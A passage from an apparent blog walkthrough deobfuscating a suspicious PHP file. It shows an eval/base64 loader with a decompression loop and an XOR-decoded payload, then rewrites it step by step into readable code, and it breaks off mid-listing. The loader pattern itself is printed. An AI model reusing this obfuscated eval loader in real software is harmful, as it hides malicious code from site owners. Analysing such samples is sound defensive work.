    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span>
        <span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Wonderful, more base64 junk, and obfuscation. Yea, when was the last time you read a legitimate program that looked as the above (not in Perl). Been a while for me as well. So we went to work first by translating all the base_64 junk into english. Please note that the very first eval binds $lllllllllll to base64_decode so I've gone ahead and done that part already. I removed the eval() calls, and replaced them with the base64 translation on every line ending in //here.</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllllll</span>=<span style="color: #ff0000;">'base64_decode'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">'ord'</span>;  <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <span style="color: #0000ff;">$l</span>=<span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllllllll</span>=<span style="color: #ff0000;">'strlen'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$llllllllllll</span>=<span style="color: #ff0000;">'chr'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllllllll</span>.=<span style="color: #0000ff;">$llllllllll</span>.<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Next we perform the variable transformations that the first few eval() calls call for. Please note that towards the bottom there are a few variables we can't simply replace just yet.</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <span style="color: #0000ff;">$l</span>=<a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//Leaving this since I only want it to evaluate once</span>
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;strlen<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #ff0000;">&quot;?&quot;</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">62</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//Leaving as we can't evaluate yet.</span>
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <span style="color: #0000ff;">$lllllllll</span>.=<span style="color: #0000ff;">$llllllllll</span>.<a href="http://www.php.net/chr"><span style="color: #000066;">chr</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #66cc66;">&#41;</span>.<span style="color: #ff0000;">&quot;?&quot;</span>; <span style="color: #808080; font-style: italic;">//Leaving as we can't evaluate yet.</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Now, let's make it readable by translating all those $l variables into english letters. First one will be $a, next $b, etc etc. Alright, I missed one and had to go back, but here it is.</p>
<pre class="php"><ol start="0"><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #000000; font-weight: bold;">&lt;?php</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$a</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$b</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$c</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$d</span>=<span style="color: #cc66cc;">3</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$l</span>=<a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//leaving this as $l</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$e</span>=<span style="color: #cc66cc;">0</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$g</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//whoops, skipped one...</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$f</span>=<span style="color: #cc66cc;">16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #0000ff;">$h</span>=<span style="color: #ff0000;">&quot;&quot;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$d</span>&lt;strlen<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$f</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$g</span>=<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$g</span>+=<a href="http://www.php.net/ord"><span style="color: #000066;">ord</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$d</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$f</span>=<span style="color: #cc66cc;">16</span>;</div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$g</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div></li><li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;"><div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">            <span style="color: #0000ff;">$a</span>=<span 